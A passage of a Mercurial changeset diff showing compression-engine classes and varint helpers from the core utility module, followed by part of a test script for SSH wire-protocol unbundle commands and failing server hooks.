3183 3190 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3184 3191
3185 3192 engines = [self._engines[e] for e in self._wiretypes.values()]
3186 3193 if onlyavailable:
3187 3194 engines = [e for e in engines if e.available()]
3188 3195
3189 3196 def getkey(e):
3190 3197 # Sort first by priority, highest first. In case of tie, sort
3191 3198 # alphabetically. This is arbitrary, but ensures output is
3192 3199 # stable.
3193 3200 w = e.wireprotosupport()
3194 3201 return -1 * getattr(w, attr), w.name
3195 3202
3196 3203 return list(sorted(engines, key=getkey))
3197 3204
3198 3205 def forwiretype(self, wiretype):
3199 3206 engine = self._engines[self._wiretypes[wiretype]]
3200 3207 if not engine.available():
3201 3208 raise error.Abort(_('compression engine %s could not be loaded') %
3202 3209 engine.name())
3203 3210 return engine
3204 3211
3205 3212 def forrevlogheader(self, header):
3206 3213 """Obtain a compression engine registered to a revlog header.
3207 3214
3208 3215 Will raise KeyError if the revlog header value isn't registered.
3209 3216 """
3210 3217 return self._engines[self._revlogheaders[header]]
3211 3218
3212 3219 compengines = compressormanager()
3213 3220
3214 3221 class compressionengine(object):
3215 3222 """Base class for compression engines.
3216 3223
3217 3224 Compression engines must implement the interface defined by this class.
3218 3225 """
3219 3226 def name(self):
3220 3227 """Returns the name of the compression engine.
3221 3228
3222 3229 This is the key the engine is registered under.
3223 3230
3224 3231 This method must be implemented.
3225 3232 """
3226 3233 raise NotImplementedError()
3227 3234
3228 3235 def available(self):
3229 3236 """Whether the compression engine is available.
3230 3237
3231 3238 The intent of this method is to allow optional compression engines
3232 3239 that may not be available in all installations (such as engines relying
3233 3240 on C extensions that may not be present).
3234 3241 """
3235 3242 return True
3236 3243
3237 3244 def bundletype(self):
3238 3245 """Describes bundle identifiers for this engine.
3239 3246
3240 3247 If this compression engine isn't supported for bundles, returns None.
3241 3248
3242 3249 If this engine can be used for bundles, returns a 2-tuple of strings of
3243 3250 the user-facing "bundle spec" compression name and an internal
3244 3251 identifier used to denote the compression format within bundles. To
3245 3252 exclude the name from external usage, set the first element to ``None``.
3246 3253
3247 3254 If bundle compression is supported, the class must also implement
3248 3255 ``compressstream`` and `decompressorreader``.
3249 3256
3250 3257 The docstring of this method is used in the help system to tell users
3251 3258 about this engine.
3252 3259 """
3253 3260 return None
3254 3261
3255 3262 def wireprotosupport(self):
3256 3263 """Declare support for this compression format on the wire protocol.
3257 3264
3258 3265 If this compression engine isn't supported for compressing wire
3259 3266 protocol payloads, returns None.
3260 3267
3261 3268 Otherwise, returns ``compenginewireprotosupport`` with the following
3262 3269 fields:
3263 3270
3264 3271 * String format identifier
3265 3272 * Integer priority for the server
3266 3273 * Integer priority for the client
3267 3274
3268 3275 The integer priorities are used to order the advertisement of format
3269 3276 support by server and client. The highest integer is advertised
3270 3277 first. Integers with non-positive values aren't advertised.
3271 3278
3272 3279 The priority values are somewhat arbitrary and only used for default
3273 3280 ordering. The relative order can be changed via config options.
3274 3281
3275 3282 If wire protocol compression is supported, the class must also implement
3276 3283 ``compressstream`` and ``decompressorreader``.
3277 3284 """
3278 3285 return None
3279 3286
3280 3287 def revlogheader(self):
3281 3288 """Header added to revlog chunks that identifies this engine.
3282 3289
3283 3290 If this engine can be used to compress revlogs, this method should
3284 3291 return the bytes used to identify chunks compressed with this engine.
3285 3292 Else, the method should return ``None`` to indicate it does not
3286 3293 participate in revlog compression.
3287 3294 """
3288 3295 return None
3289 3296
3290 3297 def compressstream(self, it, opts=None):
3291 3298 """Compress an iterator of chunks.
3292 3299
3293 3300 The method receives an iterator (ideally a generator) of chunks of
3294 3301 bytes to be compressed. It returns an iterator (ideally a generator)
3295 3302 of bytes of chunks representing the compressed output.
3296 3303
3297 3304 Optionally accepts an argument defining how to perform compression.
3298 3305 Each engine treats this argument differently.
3299 3306 """
3300 3307 raise NotImplementedError()
3301 3308
3302 3309 def decompressorreader(self, fh):
3303 3310 """Perform decompression on a file object.
3304 3311
3305 3312 Argument is an object with a ``read(size)`` method that returns
3306 3313 compressed data. Return value is an object with a ``read(size)`` that
3307 3314 returns uncompressed data.
3308 3315 """
3309 3316 raise NotImplementedError()
3310 3317
3311 3318 def revlogcompressor(self, opts=None):
3312 3319 """Obtain an object that can be used to compress revlog entries.
3313 3320
3314 3321 The object has a ``compress(data)`` method that compresses binary
3315 3322 data. This method returns compressed binary data or ``None`` if
3316 3323 the data could not be compressed (too small, not compressible, etc).
3317 3324 The returned data should have a header uniquely identifying this
3318 3325 compression format so decompression can be routed to this engine.
3319 3326 This header should be identified by the ``revlogheader()`` return
3320 3327 value.
3321 3328
3322 3329 The object has a ``decompress(data)`` method that decompresses
3323 3330 data. The method will only be called if ``data`` begins with
3324 3331 ``revlogheader()``. The method should return the raw, uncompressed
3325 3332 data or raise a ``RevlogError``.
3326 3333
3327 3334 The object is reusable but is not thread safe.
3328 3335 """
3329 3336 raise NotImplementedError()
3330 3337
3331 3338 class _zlibengine(compressionengine):
3332 3339 def name(self):
3333 3340 return 'zlib'
3334 3341
3335 3342 def bundletype(self):
3336 3343 """zlib compression using the DEFLATE algorithm.
3337 3344
3338 3345 All Mercurial clients should support this format. The compression
3339 3346 algorithm strikes a reasonable balance between compression ratio
3340 3347 and size.
3341 3348 """
3342 3349 return 'gzip', 'GZ'
3343 3350
3344 3351 def wireprotosupport(self):
3345 3352 return compewireprotosupport('zlib', 20, 20)
3346 3353
3347 3354 def revlogheader(self):
3348 3355 return 'x'
3349 3356
3350 3357 def compressstream(self, it, opts=None):
3351 3358 opts = opts or {}
3352 3359
3353 3360 z = zlib.compressobj(opts.get('level', -1))
3354 3361 for chunk in it:
3355 3362 data = z.compress(chunk)
3356 3363 # Not all calls to compress emit data. It is cheaper to inspect
3357 3364 # here than to feed empty chunks through generator.
3358 3365 if data:
3359 3366 yield data
3360 3367
3361 3368 yield z.flush()
3362 3369
3363 3370 def decompressorreader(self, fh):
3364 3371 def gen():
3365 3372 d = zlib.decompressobj()
3366 3373 for chunk in filechunkiter(fh):
3367 3374 while chunk:
3368 3375 # Limit output size to limit memory.
3369 3376 yield d.decompress(chunk, 2 ** 18)
3370 3377 chunk = d.unconsumed_tail
3371 3378
3372 3379 return chunkbuffer(gen())
3373 3380
3374 3381 class zlibrevlogcompressor(object):
3375 3382 def compress(self, data):
3376 3383 insize = len(data)
3377 3384 # Caller handles empty input case.
3378 3385 assert insize > 0
3379 3386
3380 3387 if insize < 44:
3381 3388 return None
3382 3389
3383 3390 elif insize <= 1000000:
3384 3391 compressed = zlib.compress(data)
3385 3392 if len(compressed) < insize:
3386 3393 return compressed
3387 3394 return None
3388 3395
3389 3396 # zlib makes an internal copy of the input buffer, doubling
3390 3397 # memory usage for large inputs. So do streaming compression
3391 3398 # on large inputs.
3392 3399 else:
3393 3400 z = zlib.compressobj()
3394 3401 parts = []
3395 3402 pos = 0
3396 3403 while pos < insize:
3397 3404 pos2 = pos + 2**20
3398 3405 parts.append(z.compress(data[pos:pos2]))
3399 3406 pos = pos2
3400 3407 parts.append(z.flush())
3401 3408
3402 3409 if sum(map(len, parts)) < insize:
3403 3410 return ''.join(parts)
3404 3411 return None
3405 3412
3406 3413 def decompress(self, data):
3407 3414 try:
3408 3415 return zlib.decompress(data)
3409 3416 except zlib.error as e:
3410 3417 raise error.RevlogError(_('revlog decompress error: %s') %
3411 3418 stringutil.forcebytestr(e))
3412 3419
3413 3420 def revlogcompressor(self, opts=None):
3414 3421 return self.zlibrevlogcompressor()
3415 3422
3416 3423 compengines.register(_zlibengine())
3417 3424
3418 3425 class _bz2engine(compressionengine):
3419 3426 def name(self):
3420 3427 return 'bz2'
3421 3428
3422 3429 def bundletype(self):
3423 3430 """An algorithm that produces smaller bundles than ``gzip``.
3424 3431
3425 3432 All Mercurial clients should support this format.
3426 3433
3427 3434 This engine will likely produce smaller bundles than ``gzip`` but
3428 3435 will be significantly slower, both during compression and
3429 3436 decompression.
3430 3437
3431 3438 If available, the ``zstd`` engine can yield similar or better
3432 3439 compression at much higher speeds.
3433 3440 """
3434 3441 return 'bzip2', 'BZ'
3435 3442
3436 3443 # We declare a protocol name but don't advertise by default because
3437 3444 # it is slow.
3438 3445 def wireprotosupport(self):
3439 3446 return compewireprotosupport('bzip2', 0, 0)
3440 3447
3441 3448 def compressstream(self, it, opts=None):
3442 3449 opts = opts or {}
3443 3450 z = bz2.BZ2Compressor(opts.get('level', 9))
3444 3451 for chunk in it:
3445 3452 data = z.compress(chunk)
3446 3453 if data:
3447 3454 yield data
3448 3455
3449 3456 yield z.flush()
3450 3457
3451 3458 def decompressorreader(self, fh):
3452 3459 def gen():
3453 3460 d = bz2.BZ2Decompressor()
3454 3461 for chunk in filechunkiter(fh):
3455 3462 yield d.decompress(chunk)
3456 3463
3457 3464 return chunkbuffer(gen())
3458 3465
3459 3466 compengines.register(_bz2engine())
3460 3467
3461 3468 class _truncatedbz2engine(compressionengine):
3462 3469 def name(self):
3463 3470 return 'bz2truncated'
3464 3471
3465 3472 def bundletype(self):
3466 3473 return None, '_truncatedBZ'
3467 3474
3468 3475 # We don't implement compressstream because it is hackily handled elsewhere.
3469 3476
3470 3477 def decompressorreader(self, fh):
3471 3478 def gen():
3472 3479 # The input stream doesn't have the 'BZ' header. So add it back.
3473 3480 d = bz2.BZ2Decompressor()
3474 3481 d.decompress('BZ')
3475 3482 for chunk in filechunkiter(fh):
3476 3483 yield d.decompress(chunk)
3477 3484
3478 3485 return chunkbuffer(gen())
3479 3486
3480 3487 compengines.register(_truncatedbz2engine())
3481 3488
3482 3489 class _noopengine(compressionengine):
3483 3490 def name(self):
3484 3491 return 'none'
3485 3492
3486 3493 def bundletype(self):
3487 3494 """No compression is performed.
3488 3495
3489 3496 Use this compression engine to explicitly disable compression.
3490 3497 """
3491 3498 return 'none', 'UN'
3492 3499
3493 3500 # Clients always support uncompressed payloads. Servers don't because
3494 3501 # unless you are on a fast network, uncompressed payloads can easily
3495 3502 # saturate your network pipe.
3496 3503 def wireprotosupport(self):
3497 3504 return compewireprotosupport('none', 0, 10)
3498 3505
3499 3506 # We don't implement revlogheader because it is handled specially
3500 3507 # in the revlog class.
3501 3508
3502 3509 def compressstream(self, it, opts=None):
3503 3510 return it
3504 3511
3505 3512 def decompressorreader(self, fh):
3506 3513 return fh
3507 3514
3508 3515 class nooprevlogcompressor(object):
3509 3516 def compress(self, data):
3510 3517 return None
3511 3518
3512 3519 def revlogcompressor(self, opts=None):
3513 3520 return self.nooprevlogcompressor()
3514 3521
3515 3522 compengines.register(_noopengine())
3516 3523
3517 3524 class _zstdengine(compressionengine):
3518 3525 def name(self):
3519 3526 return 'zstd'
3520 3527
3521 3528 @propertycache
3522 3529 def _module(self):
3523 3530 # Not all installs have the zstd module available. So defer importing
3524 3531 # until first access.
3525 3532 try:
3526 3533 from . import zstd
3527 3534 # Force delayed import.
3528 3535 zstd.__version__
3529 3536 return zstd
3530 3537 except ImportError:
3531 3538 return None
3532 3539
3533 3540 def available(self):
3534 3541 return bool(self._module)
3535 3542
3536 3543 def bundletype(self):
3537 3544 """A modern compression algorithm that is fast and highly flexible.
3538 3545
3539 3546 Only supported by Mercurial 4.1 and newer clients.
3540 3547
3541 3548 With the default settings, zstd compression is both faster and yields
3542 3549 better compression than ``gzip``. It also frequently yields better
3543 3550 compression than ``bzip2`` while operating at much higher speeds.
3544 3551
3545 3552 If this engine is available and backwards compatibility is not a
3546 3553 concern, it is likely the best available engine.
3547 3554 """
3548 3555 return 'zstd', 'ZS'
3549 3556
3550 3557 def wireprotosupport(self):
3551 3558 return compewireprotosupport('zstd', 50, 50)
3552 3559
3553 3560 def revlogheader(self):
3554 3561 return '\x28'
3555 3562
3556 3563 def compressstream(self, it, opts=None):
3557 3564 opts = opts or {}
3558 3565 # zstd level 3 is almost always significantly faster than zlib
3559 3566 # while providing no worse compression. It strikes a good balance
3560 3567 # between speed and compression.
3561 3568 level = opts.get('level', 3)
3562 3569
3563 3570 zstd = self._module
3564 3571 z = zstd.ZstdCompressor(level=level).compressobj()
3565 3572 for chunk in it:
3566 3573 data = z.compress(chunk)
3567 3574 if data:
3568 3575 yield data
3569 3576
3570 3577 yield z.flush()
3571 3578
3572 3579 def decompressorreader(self, fh):
3573 3580 zstd = self._module
3574 3581 dctx = zstd.ZstdDecompressor()
3575 3582 return chunkbuffer(dctx.read_from(fh))
3576 3583
3577 3584 class zstdrevlogcompressor(object):
3578 3585 def __init__(self, zstd, level=3):
3579 3586 # TODO consider omitting frame magic to save 4 bytes.
3580 3587 # This writes content sizes into the frame header. That is
3581 3588 # extra storage. But it allows a correct size memory allocation
3582 3589 # to hold the result.
3583 3590 self._cctx = zstd.ZstdCompressor(level=level)
3584 3591 self._dctx = zstd.ZstdDecompressor()
3585 3592 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3586 3593 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3587 3594
3588 3595 def compress(self, data):
3589 3596 insize = len(data)
3590 3597 # Caller handles empty input case.
3591 3598 assert insize > 0
3592 3599
3593 3600 if insize < 50:
3594 3601 return None
3595 3602
3596 3603 elif insize <= 1000000:
3597 3604 compressed = self._cctx.compress(data)
3598 3605 if len(compressed) < insize:
3599 3606 return compressed
3600 3607 return None
3601 3608 else:
3602 3609 z = self._cctx.compressobj()
3603 3610 chunks = []
3604 3611 pos = 0
3605 3612 while pos < insize:
3606 3613 pos2 = pos + self._compinsize
3607 3614 chunk = z.compress(data[pos:pos2])
3608 3615 if chunk:
3609 3616 chunks.append(chunk)
3610 3617 pos = pos2
3611 3618 chunks.append(z.flush())
3612 3619
3613 3620 if sum(map(len, chunks)) < insize:
3614 3621 return ''.join(chunks)
3615 3622 return None
3616 3623
3617 3624 def decompress(self, data):
3618 3625 insize = len(data)
3619 3626
3620 3627 try:
3621 3628 # This was measured to be faster than other streaming
3622 3629 # decompressors.
3623 3630 dobj = self._dctx.decompressobj()
3624 3631 chunks = []
3625 3632 pos = 0
3626 3633 while pos < insize:
3627 3634 pos2 = pos + self._decompinsize
3628 3635 chunk = dobj.decompress(data[pos:pos2])
3629 3636 if chunk:
3630 3637 chunks.append(chunk)
3631 3638 pos = pos2
3632 3639 # Frame should be exhausted, so no finish() API.
3633 3640
3634 3641 return ''.join(chunks)
3635 3642 except Exception as e:
3636 3643 raise error.RevlogError(_('revlog decompress error: %s') %
3637 3644 stringutil.forcebytestr(e))
3638 3645
3639 3646 def revlogcompressor(self, opts=None):
3640 3647 opts = opts or {}
3641 3648 return self.zstdrevlogcompressor(self._module,
3642 3649 level=opts.get('level', 3))
3643 3650
3644 3651 compengines.register(_zstdengine())
3645 3652
3646 3653 def bundlecompressiontopics():
3647 3654 """Obtains a list of available bundle compressions for use in help."""
3648 3655 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3649 3656 items = {}
3650 3657
3651 3658 # We need to format the docstring. So use a dummy object/type to hold it
3652 3659 # rather than mutating the original.
3653 3660 class docobject(object):
3654 3661 pass
3655 3662
3656 3663 for name in compengines:
3657 3664 engine = compengines[name]
3658 3665
3659 3666 if not engine.available():
3660 3667 continue
3661 3668
3662 3669 bt = engine.bundletype()
3663 3670 if not bt or not bt[0]:
3664 3671 continue
3665 3672
3666 3673 doc = pycompat.sysstr('``%s``\n %s') % (
3667 3674 bt[0], engine.bundletype.__doc__)
3668 3675
3669 3676 value = docobject()
3670 3677 value.__doc__ = doc
3671 3678 value._origdoc = engine.bundletype.__doc__
3672 3679 value._origfunc = engine.bundletype
3673 3680
3674 3681 items[bt[0]] = value
3675 3682
3676 3683 return items
3677 3684
3678 3685 i18nfunctions = bundlecompressiontopics().values()
3679 3686
3680 3687 # convenient shortcut
3681 3688 dst = debugstacktrace
3682 3689
3683 3690 def safename(f, tag, ctx, others=None):
3684 3691 """
3685 3692 Generate a name that it is safe to rename f to in the given context.
3686 3693
3687 3694 f: filename to rename
3688 3695 tag: a string tag that will be included in the new name
3689 3696 ctx: a context, in which the new name must not exist
3690 3697 others: a set of other filenames that the new name must not be in
3691 3698
3692 3699 Returns a file name of the form oldname~tag[~number] which does not exist
3693 3700 in the provided context and is not in the set of other names.
3694 3701 """
3695 3702 if others is None:
3696 3703 others = set()
3697 3704
3698 3705 fn = '%s~%s' % (f, tag)
3699 3706 if fn not in ctx and fn not in others:
3700 3707 return fn
3701 3708 for n in itertools.count(1):
3702 3709 fn = '%s~%s~%s' % (f, tag, n)
3703 3710 if fn not in ctx and fn not in others:
3704 3711 return fn
3705 3712
3706 3713 def readexactly(stream, n):
3707 3714 '''read n bytes from stream.read and abort if less was available'''
3708 3715 s = stream.read(n)
3709 3716 if len(s) < n:
3710 3717 raise error.Abort(_("stream ended unexpectedly"
3711 3718 " (got %d bytes, expected %d)")
3712 3719 % (len(s), n))
3713 3720 return s
3714 3721
3715 3722 def uvarintencode(value):
3716 3723 """Encode an unsigned integer value to a varint.
3717 3724
3718 3725 A varint is a variable length integer of 1 or more bytes. Each byte
3719 3726 except the last has the most significant bit set. The lower 7 bits of
3720 3727 each byte store the 2's complement representation, least significant group
3721 3728 first.
3722 3729
3723 3730 >>> uvarintencode(0)
3724 3731 '\\x00'
3725 3732 >>> uvarintencode(1)
3726 3733 '\\x01'
3727 3734 >>> uvarintencode(127)
3728 3735 '\\x7f'
3729 3736 >>> uvarintencode(1337)
3730 3737 '\\xb9\\n'
3731 3738 >>> uvarintencode(65536)
3732 3739 '\\x80\\x80\\x04'
3733 3740 >>> uvarintencode(-1)
3734 3741 Traceback (most recent call last):
3735 3742 ...
3736 3743 ProgrammingError: negative value for uvarint: -1
3737 3744 """
3738 3745 if value < 0:
3739 3746 raise error.ProgrammingError('negative value for uvarint: %d'
3740 3747 % value)
3741 3748 bits = value & 0x7f
3742 3749 value >>= 7
3743 3750 bytes = []
3744 3751 while value:
3745 3752 bytes.append(pycompat.bytechr(0x80 | bits))
3746 3753 bits = value & 0x7f
3747 3754 value >>= 7
3748 3755 bytes.append(pycompat.bytechr(bits))
3749 3756
3750 3757 return ''.join(bytes)
3751 3758
3752 3759 def uvarintdecodestream(fh):
3753 3760 """Decode an unsigned variable length integer from a stream.
3754 3761
3755 3762 The passed argument is anything that has a ``.read(N)`` method.
3756 3763
3757 3764 >>> try:
3758 3765 ... from StringIO import StringIO as BytesIO
3759 3766 ... except ImportError:
3760 3767 ... from io import BytesIO
3761 3768 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3762 3769 0
3763 3770 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3764 3771 1
3765 3772 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3766 3773 127
3767 3774 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3768 3775 1337
3769 3776 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3770 3777 65536
3771 3778 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3772 3779 Traceback (most recent call last):
3773 3780 ...
3774 3781 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3775 3782 """
3776 3783 result = 0
3777 3784 shift = 0
3778 3785 while True:
3779 3786 byte = ord(readexactly(fh, 1))
3780 3787 result |= ((byte & 0x7f) << shift)
3781 3788 if not (byte & 0x80):
3782 3789 return result
3783 3790 shift += 7
@@ -1,2076 +1,2046 b''
1 1 $ cat > hgrc-sshv2 << EOF
2 2 > %include $HGRCPATH
3 3 > [experimental]
4 4 > sshpeer.advertise-v2 = true
5 5 > sshserver.support-v2 = true
6 6 > EOF
7 7
8 8 $ debugwireproto() {
9 9 > commands=`cat -`
10 10 > echo 'testing ssh1'
11 11 > tip=`hg log -r tip -T '{node}'`
12 12 > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr
13 13 > if [ -n "$1" ]; then
14 14 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
15 15 > fi
16 16 > echo ""
17 17 > echo 'testing ssh2'
18 18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr
19 19 > if [ -n "$1" ]; then
20 20 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
21 21 > fi
22 22 > }
23 23
24 24 Generate some bundle files
25 25
26 26 $ hg init repo
27 27 $ cd repo
28 28 $ echo 0 > foo
29 29 $ hg -q commit -A -m initial
30 30 $ hg bundle --all -t none-v1 ../initial.v1.hg
31 31 1 changesets found
32 32 $ cd ..
33 33
34 34 Test pushing bundle1 payload to a server with bundle1 disabled
35 35
36 36 $ hg init no-bundle1
37 37 $ cd no-bundle1
38 38 $ cat > .hg/hgrc << EOF
39 39 > [server]
40 40 > bundle1 = false
41 41 > EOF
42 42
43 43 $ debugwireproto << EOF
44 44 > command unbundle
45 45 > # This is "force" in hex.
46 46 > heads 666f726365
47 47 > PUSHFILE ../initial.v1.hg
48 48 > readavailable
49 49 > EOF
50 50 testing ssh1
51 51 creating ssh peer from handshake results
52 52 i> write(104) -> 104:
53 53 i> hello\n
54 54 i> between\n
55 55 i> pairs 81\n
56 56 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
57 57 i> flush() -> None
58 58 o> readline() -> 4:
59 59 o> 413\n
60 60 o> readline() -> 413:
61 61 o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n
62 62 o> readline() -> 2:
63 63 o> 1\n
64 64 o> readline() -> 1:
65 65 o> \n
66 66 sending unbundle command
67 67 i> write(9) -> 9:
68 68 i> unbundle\n
69 69 i> write(9) -> 9:
70 70 i> heads 10\n
71 71 i> write(10) -> 10: 666f726365
72 72 i> flush() -> None
73 73 o> readline() -> 2:
74 74 o> 0\n
75 75 i> write(4) -> 4:
76 76 i> 426\n
77 77 i> write(426) -> 426:
78 78 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
79 79 i> test\n
80 80 i> 0 0\n
81 81 i> foo\n
82 82 i> \n
83 83 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
84 84 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
85 85 i> \x00\x00\x00\x00\x00\x00\x00\x00
86 86 i> write(2) -> 2:
87 87 i> 0\n
88 88 i> flush() -> None
89 89 o> readline() -> 2:
90 90 o> 0\n
91 91 o> readline() -> 2:
92 92 o> 1\n
93 93 o> read(1) -> 1: 0
94 94 result: 0
95 95 remote output:
96 o> read(-1) -> 0:
97 96 e> read(-1) -> 115:
98 97 e> abort: incompatible Mercurial client; bundle2 required\n
99 98 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
100 99
101 100 testing ssh2
102 101 creating ssh peer from handshake results
103 102 i> write(171) -> 171:
104 103 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
105 104 i> hello\n
106 105 i> between\n
107 106 i> pairs 81\n
108 107 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
109 108 i> flush() -> None
110 109 o> readline() -> 62:
111 110 o> upgraded * exp-ssh-v2-0001\n (glob)
112 111 o> readline() -> 4:
113 112 o> 412\n
114 113 o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash
115 114 o> read(1) -> 1:
116 115 o> \n
117 116 sending unbundle command
118 117 i> write(9) -> 9:
119 118 i> unbundle\n
120 119 i> write(9) -> 9:
121 120 i> heads 10\n
122 121 i> write(10) -> 10: 666f726365
123 122 i> flush() -> None
124 123 o> readline() -> 2:
125 124 o> 0\n
126 125 i> write(4) -> 4:
127 126 i> 426\n
128 127 i> write(426) -> 426:
129 128 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
130 129 i> test\n
131 130 i> 0 0\n
132 131 i> foo\n
133 132 i> \n
134 133 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
135 134 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
136 135 i> \x00\x00\x00\x00\x00\x00\x00\x00
137 136 i> write(2) -> 2:
138 137 i> 0\n
139 138 i> flush() -> None
140 139 o> readline() -> 2:
141 140 o> 0\n
142 141 o> readline() -> 2:
143 142 o> 1\n
144 143 o> read(1) -> 1: 0
145 144 result: 0
146 145 remote output:
147 o> read(-1) -> 0:
148 146 e> read(-1) -> 115:
149 147 e> abort: incompatible Mercurial client; bundle2 required\n
150 148 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
151 149
152 150 $ cd ..
153 151
154 152 Create a pretxnchangegroup hook that fails. Give it multiple modes of printing
155 153 output so we can test I/O capture and behavior.
156 154
157 155 Test pushing to a server that has a pretxnchangegroup Python hook that fails
158 156
159 157 $ cat > $TESTTMP/failhook << EOF
160 158 > from __future__ import print_function
161 159 > import sys
162 160 > def hook1line(ui, repo, **kwargs):
163 161 > ui.write(b'ui.write 1 line\n')
164 162 > ui.flush()
165 163 > return 1
166 164 > def hook2lines(ui, repo, **kwargs):
167 165 > ui.write(b'ui.write 2 lines 1\n')
168 166 > ui.write(b'ui.write 2 lines 2\n')
169 167 > ui.flush()
170 168 > return 1
171 169 > def hook1lineflush(ui, repo, **kwargs):
172 170 > ui.write(b'ui.write 1 line flush\n')
173 171 > ui.flush()
174 172 > return 1
175 173 > def hookmultiflush(ui, repo, **kwargs):
176 174 > ui.write(b'ui.write 1st\n')
177 175 > ui.flush()
178 176 > ui.write(b'ui.write 2nd\n')
179 177 > ui.flush()
180 178 > return 1
181 179 > def hookwriteandwriteerr(ui, repo, **kwargs):
182 180 > ui.write(b'ui.write 1\n')
183 181 > ui.write_err(b'ui.write_err 1\n')
184 182 > ui.write(b'ui.write 2\n')
185 183 > ui.write_err(b'ui.write_err 2\n')
186 184 > ui.flush()
187 185 > return 1
188 186 > def hookprintstdout(ui, repo, **kwargs):
189 187 > print('printed line')
190 188 > sys.stdout.flush()
191 189 > return 1
192 190 > def hookprintandwrite(ui, repo, **kwargs):
193 191 > print('print 1')
194 192 > sys.stdout.flush()
195 193 > ui.write(b'ui.write 1\n')
196 194 > ui.flush()
197 195 > print('print 2')
198 196 > sys.stdout.flush()
199 197 > ui.write(b'ui.write 2\n')
200 198 > ui.flush()
201 199 > return 1
202 200 > def hookprintstderrandstdout(ui, repo, **kwargs):
203 201 > print('stdout 1')
204 202 > sys.stdout.flush()
205 203 > print('stderr 1', file=sys.stderr)
